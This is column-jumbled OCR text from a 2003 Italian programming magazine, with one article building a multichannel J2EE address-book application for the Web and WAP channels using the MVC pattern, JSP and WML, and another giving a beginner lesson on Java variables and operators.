plessità attraverso le • un dispositivo che comunica con l’applicazione re le componenti di logica di business in comune tra
tecnologie JSP, Serv- • un protocollo di trasporto per veicolare le infor- tutti i vari canali, in modo da garantire un grado di
let, EJB e Web Servi-
mazioni; manutenibilità soddisfacente. Quello che serve, in
ces.
La piattaforma si com- • un protocollo applicativo per rendere comprensi- pratica, è la totale separazione tra le tre componenti
pleta attraverso l’ado- bile a tutti gli attori il formato dei dati che viene che, di norma, compongono un’applicazione in gra-
zione di consolidati scambiato. do di erogare servizi:
standard di integrazio-
ne come JMS, JTS, JCA,
JNDI. Per fare un esempio possiamo dire che un tradizio- • Model: che implementa le funzionalità di busi-
nale browser (il dispositivo) consuma i servizi di un ness
sito web (l’applicazione) utilizzando HTTP (il proto- • View: che implementa la logica di presentazione
collo di trasporto) sul quale viene trasmesso il lin- • Controller: che implementa la logica di controllo
76 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
076 081 Mobile 4-06-2003 10:58 Pagina 77
E E E E E E E E E E E E E E E E E E E E E E E E P a l m a r i
Queste tre componenti costituiscono il Pattern MVC, anche sotto forma di file WAR, è necessario rispetta-
la cui struttura è rappresentata in Fig. 1, molto famo- re una precisa alberatura per i file a partire da una
so per la sua flessibilità e potenza, ma allo stesso tem- root directory che per noi è c:\progetti\mcapp, la ve-
po un po’ ostico per la sua complessità. diamo in Fig. 2.
J2EE
Applicazioni
J2EE multicanale
Nel nostro contesto, come vedremo, questo modello- In particolare, possiamo notare che a partire dalla di-
si applica alla perfezione perché ci permette di sepa- rectory src inizia l’alberatura dei sorgenti Java, la di-
rare le componenti di presentazione e specializzarle a rectory web è la web-root sulla quale verrà mappato il
seconda del canale di erogazione lasciando inalterate context (mcapp) del nostro Application Server (Tom- Il pattern MVC
le componenti di Model e di Controller che invece so- cat), la directory WEB-INF contiene tutte le classi Ja- Uno degli obiettivi
del paradigma
no indipendenti dal canale. va compilate, i file di configurazione ed il file [Link],
Object Oriented è la
la directory work contiene la cache delle pagine jsp possibilità di realizzare
compilate. classi che possano vi-
L’APPLICAZIONE vere autonomamente
in qualsiasi contesto e
Per capire meglio i concetti di canale e di multicana-
lità realizzeremo un’applicazione J2EE attraverso l’u- IL DATABASE non solo in quello nel
quale vengono realiz-
tilizzo del Pattern MVC. Si tratta di una completa ru- DELL’APPLICAZIONE zate.
brica aziendale che espone i servizi di consultazione La base dati dell’applicazione, per semplicità, è stata Questo implica che le
componenti di un’ap-
indifferentemente e contemporaneamente sul canale scritta in un comune file Access contenente un’unica plicazione debbano es-
Web e sul canale Wap. Ormai sappiamo cosa si inten- tabella Rubrica con la seguente struttura: sere sufficientemente
de con il termine “canale”, quindi non ci dovrebbero separate tra loro e che
possano essere sosti-
essere dubbi in proposito. id: contatore e chiave primaria
tuite con altre imple-
L’applicazione ha un classico schema a tre livelli do- Cognome: testo 50 mentate diversamente
ve: Nome: testo 50 a condizione che ne ri-
Email: testo 50 spettino l’interfaccia.
Per realizzare applica-
• il presentation layer viene erogato dalla componen- TelefonoFisso: testo 50
zioni che soddisfino
te View del pattern e viene consumato dal dispo- TelefonoCellulare: testo 50 questi requisiti si uti-
sitivo che effettua la richiesta sul canale; Filiale: testo 50 lizza il pattern MVC che
• l’application layer viene implementato all’interno UnitaOrganizzativa: testo 50 consente di separare
tra loro le componenti
della componente Model del pattern ed è indipen-
applicative: il Model
dente dal canale di erogazione dei servizi; che implementa le fun-
• il data layer viene utilizzato direttamente dalla zionalità di business, la
componente di Model per ottenere le informazio- componente di View
che implementa la logi-
ni. ca di presentazione ed
il Controller che imple-
Dal punto di vista funzionale l’applicazione avrà le menta la logica di con-
seguenti componenti: trollo.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 77
076 081 Mobile 4-06-2003 10:58 Pagina 78
P a l m a r i G G G G G G G G G G G G G G G G G G G G G G G
J2EE
oggetti Request e Response. È interessante notare che
per sapere quale pagina JSP invocare, il Controller
deve ricavare due informazioni distinte: la Action,
cioè la funzionalità richiesta dall’utente, ed il canale di
erogazione. La Action viene ricavata direttamente leg-
Applicazioni Fig. 4: Configurazione del DSN. gendo il parametro Action passato nella Request
J2EE multicanale
HTTP. Il canale viene ricavato, attraverso la funzione
Il database con alcuni dati di esempio è presente sul getOutputType dall’analisi della proprietà User-Agent
CD allegato alla rivista insieme a tutti i sorgenti del- presente tra gli header contenuti nella request. Que-
l’applicazione. Poiché l’applicazione è scritta in Java sta proprietà, in generale, identifica il dispositivo che
sarà necessario utilizzare il ponte JDBC-ODBC per ha effettuato la Request HTTP e può darci indicazio-
poter accedere alla base dati Access. Per prima cosa, ni circa la sua tipologia. Per comodità di implemen-
quindi, è necessario creare a attraverso l’applet “Ori- tazione, trattandosi di codice didattico, la funzione
gine dati ODBC” contenuta negli strumenti di ammi- getOutputType cerca di riconoscere la presenza della
nistrazione del Pannello di Controllo, un DSN di si- sottostringa “[Link]” all’interno del valore del-
stema chiamato mcapp associato al Microsoft Access la proprietà User-Agent. Questa scelta dipende dal
JDBC Driver (Fig. 3) e che punti al database dell’applica- fatto che per fare i test di utilizzo dell’applicazione
Java Database Con-
nectivity è un’insie- zione, cioè al file [Link] (Fig. 4). sul canale Wap utilizzeremo l’emulatore [Link]-
me di classi Java che tor di Openwave che imposta la proprietà User-
consente, virtualmente, Agent ad un valore che dipende dal dispositivo emu-
l’accesso a qualsiasi da-
tabase da qualunque ap-
IL CONTROLLER lato, ma che comunque contiene sempre la stringa
plicazione scritta in Ja- La prima componente che si realizza tradizional- “[Link]”. Una lista esaustiva e piuttosto aggior-
va. mente quando si sviluppa un’applicazione basata sul nata dei valori della proprietà User-Agent settata dai
L’architettura di JDBC è Pattern MVC è il Controller. La componente di Con- vari telefoni cellulari in commercio e dotati di brow-
organizzata in classi
standard che rappresen-
troller è, di solito, particolarmente semplice in quan- ser Wap può essere reperita all’indirizzo [Link]-
tano, all’interno del codi- to deve occuparsi di: [Link]. Nel nostro caso, dunque, il canale sarà
ce Java, le connessioni al sempre identificato attraverso la stringa “html” a me-
Database. Viene fornito • recuperare la “Action”, cioè la funzionalità appli- no che l’applicazione non si accorga che la Request
nativamente un driver-
manager in grado di uti-
cativa che il dispositivo chiamante ha richiesto HTTP avviene da un dispositivo dotato di browser
lizzare un qualunque dri- per poter chiamare correttamente la logica di bu- wml con tecnologia “[Link]”, in questo caso il
ver fornito ad hoc per un siness associata a quella funzionalità; canale sarà identificato attraverso la stringa “wml”.
certo database.
• recuperare le informazioni di canale, cioè capire, Una volta ottenute le stringhe identificative di canale
La politica di JDBC è di
essere indipendente dal per quanto possibile, quale dispositivo sta facen- ed Action la Servlet esegue un forward ad una pagi-
database e di richiedere, do quella particolare richiesta e di conseguenza na JSP il cui nome sia composto in questo modo:
salvo poche eccezioni, instradare la chiamata sul livello di presentazione
l’utilizzo di un apposito
corretto. /jsp/action_canale.jsp
driver verso il database.
Il compito del driver è di
convertire le chiamate al Quando si realizza un Controller di questo tipo in Ja- In questo modo abbiamo realizzato un Controller
database, rigorosamen- va si fa tradizionalmente una Servlet, vediamone il sufficientemente flessibile in grado da subito di ge-
te scritte in ANSI SQL
codice nel file [Link]. stire qualsiasi Action ed i due canali Web e Wap. Con
Level 2, nel linguaggio
SQL compreso dal data- Questo codice è una Servlet, infatti estende la classe poche modifiche è possibile fare in modo che gestisca
base di destinazione. HttpServlet, e risponde indifferentemente alle chia- altri canali o altri dispositivi all’interno dello stesso
mate HTTP effettuate attraverso i metodi Post e Get. canale.
Il compito principale di questa Servlet consiste nel-
l’instradare la chiamata HTTP alla giusta componen-
te di presentation e questo avviene attraverso l’utiliz- LA COMPONENTE VIEW
zo del componente RequestDispatcher il cui metodo PER IL CANALE WEB
forward() consente di far ritornare come output dalla Una volta terminato lo sviluppo del controller pos-
servlet l’output ottenuto dall’esecuzione di un’altra siamo concentrarci sulla componente di presentazio-
componente applicativa (in questo caso una pagina ne dell’applicazione. Come specificato nei requisiti
JSP) alla quale vengono passati la Request (contenen- funzionali dell’applicazione ci serviranno almeno tre
te tutti i parametri passati nella chiamata http inizia- distinte visualizzazioni: ricerca, lista e dettaglio. Cia-
78 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
076 081 Mobile 4-06-2003 10:59 Pagina 79
E E E E E E E E E E E E E E E E E E E E E E E E P a l m a r i
scuna di esse dovrà essere erogata attraverso i canali contenuto nella pagina ricerca_html.jsp. Il Controller,
Web e Wap, di conseguenza, per come funziona il no- che segue fedelmente il Pattern MVC, rigira la Re-
stro Controller, dovremo sviluppare le seguenti pagi- quest alla pagina JSP di destinazione, la lista_html.jsp.
ne JSP: ricerca_html.jsp, lista_html.jsp, dettaglio_html.jsp Dall’interno di quest’ultima possiamo recuperare
per il canale Web e le analoghe ricerca_wml.jsp, li- questo valore ed utilizzarlo per effettuare la query
sta_wml.jsp, dettaglio_wml.jsp per il canale Wap. sul database e restituire così all’utente la lista dei re-
Iniziamo con l’implementazione del canale Web e ve- cord che soddisfano il criterio di ricerca. Se però
diamo come strutturare la pagina di ricerca. L’obiet- avessimo fatto la query direttamente all’interno della
tivo è ottenere il risultato di Fig. 5, pertanto il codice
della pagina JSP sarà quello presente nel file ricer-
ca_html.jsp.
pagina JSP avremmo mescolato il livello di presenta-
zione con quello di logica di business, pertanto dele-
ghiamo questo valore ad un componente apposito
J2EE
che, nel nostro caso, è rappresentato da una Tag Li-
brary. Il Tag che utilizziamo si chiama ListTag ed è Applicazioni
contenuto nella libreria di Tag che viene dichiarata al- J2EE multicanale
l’inizio della pagina JSP. Si tratta di un Tag intelligen-
te che riceve come parametri il linguaggio per il qua-
le deve produrre l’output ed il criterio di ricerca da
applicare, la sua implementazione la vedremo più
avanti analizzando la componente Model. A questo
punto abbiamo la lista di tutte le persone inserite nel-
la rubrica che soddisfano il criterio di ricerca che ab-
biamo inserito. Se facciamo click sulla freccia a sini-
stra di uno dei nomi otterremo, attraverso una fun-
zione JavaScript, l’apertura di una finestra popup di WML
Wireless Markup
dettaglio, come mostrato in Fig. 7. Language è un lin-
Fig. 5: Pagina di ricerca sul canale Web.
guaggio di marcatura
(esattamente come il
tradizionale HTML) uti-
Si tratta, come si può vedere, di una semplice pagina
lizzato per veicolare
HTML contenente un form che consente di inserire il informazioni attraverso
cognome da ricercare all’interno della rubrica azien- il protocollo applicativo
dale. La cosa interessante da notare è che alla pres- Wap.
Per visualizzare le pagi-
sione del tasto Invia si ottiene il submit del form e si
ne scritte utilizzando
passa al Controller, oltre al parametro cognome per WML (i cosiddetti Deck)
effettuare la ricerca, anche il nome della Action che è necessario utilizzare
vogliamo eseguire, cioè “lista”. L’output del motore un dispositivo abilitato e
dotato di un Wap Brow-
di ricerca, erogato sul canale Web, è visibile in Fig. 6.
ser.
Ogni pagina WML si divi-
de in sezioni chiamate
Fig. 7: Dettaglio sul canale Web Card che rappresentano
l’unità minima di infor-
mazione trasmissibile
La chiamata al dettaglio avviene attraverso la costru- dal server al client.
zione, da parte del Tag personalizzato e per ogni re- Il linguaggio WML è di
cord che deve essere mostrato nella pagina, di una fatto un’applicazione di
XML, pertanto ogni pa-
porzione di codice HTML di questo tipo: gina WML deve essere
un documento XML ben
<td width="10%" align="center"> formato e deve essere
valicabile attraverso
<a>
un’apposita grammati-
<img src="img/[Link]" alt="Dettaglio" ca, in caso contrario po-
width="70" height="25" border="0" trebbe non essere frui-
onClick="[Link]('Controller?Action= bile attraverso i disposi-
tivi di destinazione.
dettaglio&id=1','_blank',...);">
</a>
Fig. 6: Lista sul canale Web. </td>
Il codice della pagina lo trovate in lista_html.jsp. In particolare al click sull’immagine viene aperta una
Le parti in grassetto rivestono particolare importan- nuova finestra che punta nuovamente al Controller e
za, vediamo di analizzarle meglio. Come sappiamo il gli passa il parametro Action=dettaglio e l’id del re-
Controller riceve all’interno della Request HTTP il cord da visualizzare all’interno della finestra popup.
parametro cognome che gli viene passato dal form Il codice della pagina lo trovate in dettaglio_html.jsp.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 79
076 081 Mobile 4-06-2003 10:59 Pagina 80
P a l m a r i G G G G G G G G G G G G G G G G G G G G G G G
Analogamente a quanto faceva la pagina della lista, dale lo trovate nella pagina ricerca_wml.jsp. Se ripe-
anche in questo caso è necessario utilizzare un Tag tiamo la stessa chiamata fatta in precedenza, cioè la
personalizzato per ottenere l’esecuzione della logica chiamata al Controller cui viene passato il parametro
di business, la query sul database in funzione dell’id Action=ricerca questa volta però non attraverso un
del record selezionato (e cha anche questa volta ritro- browser Web, ma attraverso un browser Wap come
viamo nella Request HTTP) e la produzione del co- l’emulatore Openwave [Link], il Controller si
dice di presentazione in funzione del linguaggio di accorgerà che la chiamata avviene sul canale Wap e la
markup utilizzato. redirigerà proprio sulla pagina ricerca_wml.jsp otte-
J2EE
nendo l’output di Fig. 8 a. Dopo aver inserito un cri-
terio di ricerca, ad esempio la stringa “rossi”, sarà
LA COMPONENTE VIEW possibile premere il tasto accept del telefono cellula-
PER IL CANALE WAP re (nel modello emulato si tratta del tasto di sinistra)
Applicazioni Abbiamo cosi visto tutti gli aspetti di presentazione al quale, nel codice WML, abbiamo assegnato l’eti-
J2EE multicanale legati al canale Web, adesso ci concentriamo sul ca- chetta “cerca” e che chiamerà il Controller passando-
nale Wap tenendo conto che abbiamo già messo del- gli il parametro Action=lista ed il criterio con cui fare
le solide basi architetturali, ovvero: la ricerca. Quello che otterremo sull’emulatore, visi-
bile in Fig. 8 b, è nuovamente la lista di tutti i nomi-
• abbiamo realizzato un Controller in grado di di- nativi che soddisfano il criterio di ricerca, questa vol-
scriminare in funzione della funzione selezionata ta generato dalla pagina lista_wml.jsp, eccone il codi-
e del canale di erogazione; ce:
• abbiamo anche una Tag Library che produce, in
funzione del canale di erogazione, il linguaggio <%@ page contentType="text/[Link];
di markup corretto. charset=iso-8859-1" language="java"
import="[Link].*" %>
A questo punto, per produrre la componente di pre- <%@ taglib uri="[Link]
[Link]
Lo sviluppo di pa- sentazione per un altro canale, è necessario tener con- prefix="mcapptags" %>
gine WML potreb- to anche degli schemi di navigazione applicati in pre- <!DOCTYPE wml PUBLIC "-//[Link]//DTD WML
be non essere banale cedenza per capire se sono compatibili con il canale 1.1//EN" "[Link]
se non esistessero
verso il quale stiamo cercando di erogare l’informa- <% String cognome = (String)[Link](
emulatori e simulatori
in grado di permetterci zione. Nel nostro caso infatti non sarà possibile ap- "cognome"); %>
in locale il test delle plicare per il canale Wap la stessa struttura di navi- <wml>
nostra pagine WML. gazione utilizzata per il canale Web perché, ad esem- <card title="Lista">
Un prodotto completo e
pio, su questa tipologia di canale non esiste il concet- <do type="options" label="Indietro">
utilizzabile liberamen-
te è il [Link] scaricabi- to di finestra Popup, quindi sarà necessario trovare <prev/>
le dall’indirizzo una modalità differente per visualizzare il dettaglio. </do>
Tenendo conto, inoltre, dei dispositivi che utilizze- <p align="center"><b>Multichannel</b></p>
[Link]
ranno l’applicazione (i telefoni cellulari dotati di Wap <p align="center">Elenco alfabetico</p>
che contiene un com- Browser) dovrà essere nostra cura cercare per quan- <p> </p>
pleto tool di sviluppo to possibile di utilizzare gli strumenti classici di na- <p>Cognome Nome (Filiale)</p>
con tanto di specifiche vigazione come i tasti accept ed options presenti su <mcapptags:ListTag language="wml"
WML 1.1 e WMLScript,
quasi tutti i telefoni. Il codice della pagina JSP che ci cognome="<%=cognome%>"/>
documentazione di va-
ria natura ed un com- permette di effettuare la ricerca sulla rubrica azien- </card>
pleto simulatore WML </wml>
1.1. La piattaforma di
sviluppo è completa e
supporta anche le tran- La pagina in questione, come si può vedere, produce
a) b) c)
sazioni Wap in moda- codice WML ed utilizza lo stesso Tag personalizzato
lità Push. della sua omologa lista_html.jsp, con la differenza che
il parametro language questa volta ha valore “wml”,
in questo modo il Tag genererà codice WML ed in
particolare, per ogni record compatibile con i criteri
di ricerca, produrrà un frammento di codice di que-
sto tipo:
<p>
<anchor title="Dettaglio">Rossi Mario (Milano)
<go href="[Link]
<postfield name="id" value="1" />
Fig. 8: a) Pagina di ricerca sul canale Wap.
b) Lista sul canale Wap. <postfield name="Action" value="dettaglio" />
c) Dettaglio sul canale Wap. </go>
80 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
076 081 Mobile 4-06-2003 11:00 Pagina 81
E E E E E E E E E E E E E E E E E E E E E E E E P a l m a r i
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 81
082-086 Java Bas 4-06-2003 11:00 Pagina 82
C o r s i B a s e G G G G G G G G G G G
Java
Serene variabili:
dai del “tu” a Java
Eccoci arrivati alla seconda puntata del nostro corso
di Java per principianti assoluti. Il mese scorso abbiamo
visto come si compila e come si lancia un programma
Java. Questo mese cominceremo a imparare qualcosa
di più del linguaggio. In particolare parleremo di uno
degli strumenti più importanti in tutti i linguaggi
di programmazione: le variabili.
V
ediamo subito cosa imparerai questo schermo e va a capo. Una stringa, nel linguag-
\soft\codice mese. Obiettivi di questa lezione: gio informatico, è una sequenza di caratteri. Il
\[Link]
valore della stringa deve essere racchiuso tra
Sul CD allegato a que- virgolette. Il carattere ‘;’ alla fine dell’istruzione
sto numero di IoPro- • Vedrai come si stampano numeri e stringhe è importante: tutte le istruzioni del linguaggio
grammo troverai tutto sullo schermo. finiscono con un punto e virgola. Di solito si
il codice degli esempi
scrive un’istruzione su ciascuna riga, ma il
di questo mese.
• Ti imbatterai nei fondamentali concetti di compilatore ignora gli a-capo, gli spazi e le ta-
variabile e di tipo. bulazioni quindi, per puro masochismo, po-
tremmo scrivere un lungo e illeggibile pro-
• Comincerai a lavorare con gli operatori. gramma di una sola riga. In realtà l’istruzione
[Link]() non è altro che un metodo.
• Risolverai i tuoi primi problemi di program- La macchina virtuale invoca (si dice così) il me-
File sul Web mazione. todo main(), e il main() invoca il metodo Sy-
[Link]
[Link]() passandogli la stringa che vo-
/ioprog71/[Link]
Cominciamo dal punto in cui ci eravamo la- gliamo stampare. Si dice che la stringa è il pa-
sciati il mese scorso: rametro del metodo. Per ora non hai ancora stu-
diato i metodi, quindi mi fermo qui. L’impor-
class Saluti tante è che tu sappia che, per stampare qualco-
{ sa, puoi usare [Link](), e che devi
public static void main(String[] args) mettere la roba che vuoi stampare tra le due pa-
{ rentesi tonde. Così come stampi una stringa,
[Link]("Saluti a casa!"); puoi stampare qualsiasi altra cosa, ad esempio
} un numero:
}
[Link](3.14);
Avevamo detto che la classe Saluti ha un meto-
do main(), e che questo main() è per convenzio- Ricordati che la notazione è quella anglosasso-
ne il punto di ingresso del programma. ne, quindi per separare i decimali devi usare il
Ci resta da spiegare l’istruzione dentro il “punto” al posto della nostra “virgola”. Giusto
main(): per assicurarti di aver capito bene come funzio-
na il ciclo modifica-compilazione-esecuzione,
[Link]("Saluti a casa!"); eccoti qualche semplice esercizio:
82 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
082-086 Java Bas 4-06-2003 11:01 Pagina 83
E E E E E E E E E E E C o r s i B a s e
Java
gola alla fine della riga. Il compilatore do- Questa istruzione stampa:
vrebbe dare un messaggio di errore.
PI Greco: 3.14
Tutto molto semplice, ma non molto interessan-
te. E’ il momento di cominciare a far di conto. Quest’ultimo esempio comporta alcune cosine
interessanti, e forse non del tutto ovvie. Da
qualche parte, mentre viene eseguita l’istruzio-
LE MOLTE FACCE ne, il numero 3.14 (che è proprio un numero,
DEL “PIÙ” tanto è vero che lo possiamo sommare, divide-
Java, come tutti i linguaggi, ha i suoi operatori, re, eccetera) viene trasformato nella stringa
che ci permettono di fare operazioni come la “3.14”, che è una sequenza di caratteri senza si-
somma o la moltiplicazione. Ad esempio, ecco gnificato numerico. Se questo non accadesse,
la stampa di una somma: l’operatore di concatenamento non potrebbe Java contro
concatenare i due valori. Questa è una cosa me- Microsoft
[Link](1 + 1); no scontata di quello che sembra, e ne riparle- Microsoft basa il
remo quando affronteremo l’argomento del ca- proprio successo
Quando questa istruzione viene eseguita succe- sting. Per ora ci basta sapere che Java capisce sul sistema operativo
Windows. Quindi non
dono due cose. La prima è che l’espressione tra quello che vogliamo fare, e lo fa. Finora abbia- può certo vedere di
parentesi viene valutata. Questo significa che la mo solo stampato un po’ di numeri e stringhe buon occhio un lin-
Macchina Virtuale Java calcola il valore dell’e- sullo schermo. Questi numeri e queste stringhe guaggio che permette
di scrivere programmi
spressione. A dire il vero in questo caso il valo- si chiamano costanti, perché il loro valore non
che girano su qualsiasi
re viene calcolato già dal compilatore, che met- cambia nel corso dell’esecuzione del program- piattaforma. Per que-
te direttamente il risultato nel codice compilato ma. Ad esempio, la costante numerica 3.14 vale sto motivo l’azienda di
Java. Ma a noi per ora non interessa chi sia a fa- sempre 3,14. Allo stesso modo, la costante strin- Bill Gates ha sempre
osteggiato Java, fino al
re i calcoli: ci basta sapere che vengono fatti. ga “xyz” vale sempre e solo “xyz”. Lo so, la co-
punto di rilasciare di
Quindi l’espressione (1 + 1) diventa il valore 2. recente il suo “clone”
La seconda cosa che succede è che il valore vie- Attrezzi da lavoro di Java, di nome C#.
ne stampato dal metodo [Link](). C# è un ottimo lin-
Per cominciare, installa sul tuo computer l’SDK per guaggio, e ha anche
È molto comune, nel campo della programma-
Java 2 Standard Edition. Mentre scrivo, la versione qualche caratteristica
zione, che un’unica istruzione faccia più cose. più recente è la [Link]. L’installer per Windows che a Java manca. Il
Naturalmente, dobbiamo sapere in che ordine si chiama j2sdk-1_4_1_02-[Link], e lo suo limite è quello di
queste cose vengono fatte. Nel caso che abbia- puoi trovare sul sito [Link] Se non hai non essere compatibi-
motivi particolari per cambiare qualche opzione, le con sistemi operati-
mo visto (e anche in quasi tutti gli altri), prima vi diversi da Windows,
allora fai pure un’installazione standard. Oltre al
viene valutata l’espressione e poi viene fatta la sistema di sviluppo (nella cartella c:\j2sdk1. 4.1_ e di non avere le otti-
stampa. Si dice che la valutazione dei parame- 01) ti verrà installato il Java 2 Runtime Environ- me e vastissime libre-
tri ha la priorità sulla chiamata dei metodi. ment, una macchina virtuale visibile da tutto il si- rie di Java. Ti consi-
stema e dal browser. In questo modo avrai un si- gliamo di imparare il
L’operatore “+” significa “somma” quando en- più diffuso e pratico
stema che “conosce Java”, ed è in grado di ese-
trambi gli operandi sono numeri. Se gli operan- guire programmi Java nelle pagine Internet. Java. Potrai passare a
di sono stringhe, allora l’operatore + significa Quando avrai installato il JDK e il JRE sarai già C# in un secondo mo-
quasi a posto. Per scrivere i tuoi primi programmi, mento se ne avrai bi-
“concatenazione”, cioè unisce le due stringhe in
però, ti servirà anche un editor di testo. Se lavori sogno. I due linguaggi
una stringa unica: si somigliano come
sotto Windows puoi usare il terribile Notepad. Noi
però ti consigliamo di fare un piccolo sforzo in più fratelli (fratelli coltelli,
[Link](“A lei e “ + “a sua sorella”); e di scaricare un editor fatto apposta per i pro- in questo caso).
grammatori. Uno decente e gratuito è PSPad
[Link] /pspad/index_en.html. Se sei dispo-
Questa istruzione stampa:
sto a spendere soldi, puoi scaricare un editor più
sofisticato come CodeGenie http: //[Link]-genie
A lei e a sua sorella .com/[Link]. Oltre ad essere migliori del Note-
pad, questi editor hanno alcune caratteristiche che
li rendono particolarmente adatti alla programma-
Tra parentesi, questo è uno dei pochissimi casi zione. Un esempio è la “sintassi colorata”: il pro-
in cui lo stesso operatore Java assume più si- gramma è in grado di capire (guardando l’esten-
gnificati (questa situazione si chiama overloa- sione del file) che stai scrivendo un programma in
ding, nel senso che lo stesso operatore è stato Java, ed evidenzia le varie parti del testo con colo-
ri, grassetto, eccetera, a seconda del loro signifi-
“sovraccaricato” di più significati). Puoi anche cato. Utilissimo – provare per credere.
usare l’operatore “+” in espressioni “miste” do-
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 83
082-086 Java Bas 4-06-2003 11:01 Pagina 84
C o r s i B a s e G G G G G G G G G G G
sa ti sembra ovvia. Ma molto spesso ti sarà più le resterà intera per tutta la sua esistenza. Dob-
utile usare delle variabili, cioè dei nomi asso- biamo specificare il tipo della variabile solo la
ciati ad un valore che può cambiare. prima volta che la usiamo. Anzi, se per caso
scrivessimo ancora una volta int anni il compi-
latore penserebbe che vogliamo definire una
LE COSE CAMBIANO
Java
nuova variabile con lo stesso nome di una già
Per pensare alle variabili, puoi immaginare dei definita, e quindi darebbe un errore.
contenitori che contengono un valore. Ciascun Questa faccenda del tipo è fondamentale, quin-
contenitore ha un’etichetta: il suo nome. di vale la pena di parlarne meglio. Ma prima
Ad esempio, il numero dei miei anni (33, anco- facciamo un paio di esercizi.
ra per poco) è un valore costante. Ma posso in-
filarlo all’interno di un contenitore e chiamarlo • Esercizio 3 – Scrivi, nel main() di una classe
anni: di nome Somma, una sequenza di istruzioni
Le versioni che (1) crea una variabile intera di nome x
di Java int anni = 33; che vale 1, (2) crea una seconda variabile in-
Il linguaggio Java
tera di nome y che vale 2, (3) crea una terza
e il suo sistema di
sviluppo vengono conti- La parola chiave int indica che la variabile può variabile intera di nome somma che vale la
nuamente aggiornati da contenere un valore intero. Visto che in questo somma di x e y, e infine (4) stampa la varia-
Sun. È facile fare con- caso non ci interessano i decimali (a nessuno bile somma. Compila il programma e fallo
fusione tra le varie ver-
sioni, quindi ecco un
importa di sapere che ho 33,7 anni!) un valore girare.
breve chiarimento. L’at- intero andrà benissimo. Con questa istruzione
tuale variante di Java si dico tre cose. Primo: voglio una variabile di no- Questo esercizio è banale per chiunque abbia
chiama Java 2. Da qual- me anni. Secondo: voglio che sia di tipo intero. un minimo di esperienza, ma potrebbe risultar-
che tempo esistono tre
versioni principali di Ja-
Terzo: voglio che contenga il valore 33. Il segno ti ostico se non hai mai programmato prima
va 2: la Standard (J2SE), “=” si chiama operatore di assegnamento, per- d’ora. Prova comunque a risolverlo da solo (da-
la Enterprise (J2EE) e la ché assegna all’operando di sinistra (la variabi- vanti allo schermo, non a mente!). Se non ce la
Micro (J2ME). La prima è
le anni) il valore dell’espressione sulla destra fai, ecco la soluzione:
quella “per tutti”, la se-
conda include una serie (la costante 33). Una volta che ho la variabile
di funzionalità avanzate posso, ad esempio, stamparla: class Somma
per la programmazione {
in ambito aziendale, la
[Link](anni); public static void main(String[] args)
terza serve per pro-
grammare i dispositivi {
elettronici come i cellu- Come al solito, la Macchina Virtuale risolverà int x = 1;
lari. A noi interessa Java l’espressione tra parentesi prima di stamparla. int y = 2;
2 Standard Edition. Se
In questo caso l’espressione è il nome di una va- int somma = x + y;
volessimo solo far girare
i programmi Java sul no- riabile, e il suo valore è 33. [Link](somma);
stro sistema, ci baste- Se le variabili esistessero solo per dare un nome }
rebbe visitare la pagina ai valori, allora non sarebbero molto utili. La lo- }
[Link]
va/ e avere un po’ di pa-
ro grande potenza sta nel fatto che il valore che
zienza. Il browser scari- contengono può, appunto, variare. Compila il programma con [Link] e lancialo
cherà e installerà la ver- Ad esempio: con [Link]. Naturalmente il file sorgente deve
sione più aggiornata del chiamarsi esattamente [Link]. E occhio al-
Java Runtime Environ-
anni = anni + 1; l’indentazione, se non vuoi che il tuo program-
ment (JRE), cioè quel-
l’insieme di programmi mino diventi rapidamente incomprensibile!
e librerie che servono Questa operazione può sembrare un po’ strana. È il momento di affrontare un esercizio un po’
per far funzionare Java
Per capirla devi ricordare che il simbolo = non più complicato:
sulla nostra macchina.
Ma dato che vogliamo indica l’uguaglianza, come in un’equazione, ma
programmare, il JRE non è un operatore che assegna il valore dell’espres- int x = 10;
ci basta. Abbiamo biso- sione sulla destra alla variabile sulla sinistra. int y = 20;
gno del sistema di svi-
Proprio come succede quando stampiamo un’e- // qui vogliamo scambiare il valore di x e quello di y
luppo completo, che in-
clude il JRE e altri com- spressione, la prima cosa che succede è che l’e- [Link](“La variabile x vale “ + x);
ponenti importanti come spressione viene valutata. L’espressione sulla [Link](“La variabile y vale “ + y);
il compilatore. Il siste- destra vale 33 più 1, quindi 34. Questo valore
ma di sviluppo di Java 2
verrà assegnato di nuovo alla variabile anni, La riga che comincia con la doppia barra è un
si chiama Java Develop-
ment Kit, o più breve- che quindi dopo questa istruzione avrà il valo- commento. I commenti servono solo a chi legge
mente JDK. re 34. il codice, e il compilatore li ignora. Il modo più
Nota anche che non abbiamo dovuto usare la semplice per scrivere il commento in Java è una
parola chiave int. Abbiamo già specificato che si doppia barra. Un commento può iniziare (con
tratta di una variabile intera, quindi la variabi- la doppia barra) in qualsiasi punto di una riga,
84 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
082-086 Java Bas 4-06-2003 11:01 Pagina 85
E E E E E E E E E E E C o r s i B a s e
e include tutto quello che c’è dalla doppia barra x = 10; // assegna il valore 10 alla variabile x
fino alla fine della riga.
Al posto del commento vogliamo inserire le Quanto vale x dopo la prima di queste due
istruzioni che scambiano il valore delle due va- istruzioni? Non vale niente – il suo valore non è
riabili x e y. Quindi x deve assumere il valore di definito. In alcuni linguaggi, una variabile non
Java
y, e y quello di x (naturalmente questo deve va- inizializzata ha un valore a caso. Questo ap-
lere per qualsiasi coppia di valori – non è una proccio può essere pericoloso, perché potresti
soluzione valida scrivere semplicemente x = 20 dimenticarti di inizializzare la variabile. Java è
e y = 10!). Dopo aver scambiato i valori possia- un linguaggio che preferisce sempre andare sul
mo stamparli. sicuro, quindi il compilatore dà un errore se
provi a usare una variabile senza inizializzarla
• Esercizio 4 – Metti le istruzioni che hai ap- prima.
pena visto nel main() di un programma di E se invece della seconda istruzione dimentichi
nome Swap (inglese per “scambio”). Al po- la prima? Anche in questo caso avrai un errore.
